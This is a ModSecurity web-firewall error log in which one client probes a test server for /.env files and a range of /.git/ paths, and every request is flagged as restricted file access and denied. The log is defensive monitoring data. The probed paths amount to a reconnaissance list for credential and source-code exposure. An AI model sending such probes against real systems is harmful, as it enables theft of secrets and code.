[Sun Mar 22 01:06:01.966768 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UwAAAAE&quot;]
[Sun Mar 22 01:06:01.966886 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97UwAAAAE&quot;]
[Sun Mar 22 01:06:01.989096 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97VAAAAAE&quot;]
[Sun Mar 22 01:06:01.989282 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97VAAAAAE&quot;]
[Sun Mar 22 01:06:01.989430 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ab8yaQYP1jEXrqk5bL97VAAAAAE&quot;]
[Sun Mar 22 01:06:02.056878 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97VwAAAAE&quot;]
[Sun Mar 22 01:06:02.057078 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97VwAAAAE&quot;]
[Sun Mar 22 01:06:02.057213 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97VwAAAAE&quot;]
[Sun Mar 22 01:06:02.079318 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WAAAAAE&quot;]
[Sun Mar 22 01:06:02.079514 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WAAAAAE&quot;]
[Sun Mar 22 01:06:02.079641 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WAAAAAE&quot;]
[Sun Mar 22 01:06:02.101713 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WQAAAAE&quot;]
[Sun Mar 22 01:06:02.101914 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WQAAAAE&quot;]
[Sun Mar 22 01:06:02.102038 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WQAAAAE&quot;]
[Sun Mar 22 01:06:02.124074 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WgAAAAE&quot;]
[Sun Mar 22 01:06:02.124281 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WgAAAAE&quot;]
[Sun Mar 22 01:06:02.124406 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WgAAAAE&quot;]
[Sun Mar 22 01:06:02.146550 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WwAAAAE&quot;]
[Sun Mar 22 01:06:02.146749 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WwAAAAE&quot;]
[Sun Mar 22 01:06:02.146903 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97WwAAAAE&quot;]
[Sun Mar 22 01:06:02.168952 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XAAAAAE&quot;]
[Sun Mar 22 01:06:02.169144 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XAAAAAE&quot;]
[Sun Mar 22 01:06:02.169276 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XAAAAAE&quot;]
[Sun Mar 22 01:06:02.191457 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XQAAAAE&quot;]
[Sun Mar 22 01:06:02.191685 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XQAAAAE&quot;]
[Sun Mar 22 01:06:02.191829 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XQAAAAE&quot;]
[Sun Mar 22 01:06:02.213778 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XgAAAAE&quot;]
[Sun Mar 22 01:06:02.213956 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XgAAAAE&quot;]
[Sun Mar 22 01:06:02.214079 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XgAAAAE&quot;]
[Sun Mar 22 01:06:02.236132 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XwAAAAE&quot;]
[Sun Mar 22 01:06:02.236332 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XwAAAAE&quot;]
[Sun Mar 22 01:06:02.236461 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97XwAAAAE&quot;]
[Sun Mar 22 01:06:02.258727 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/refs/heads/master&quot;] [unique_id &quot;ab8yagYP1jEXrqk5bL97YAAAAAE&quot;]
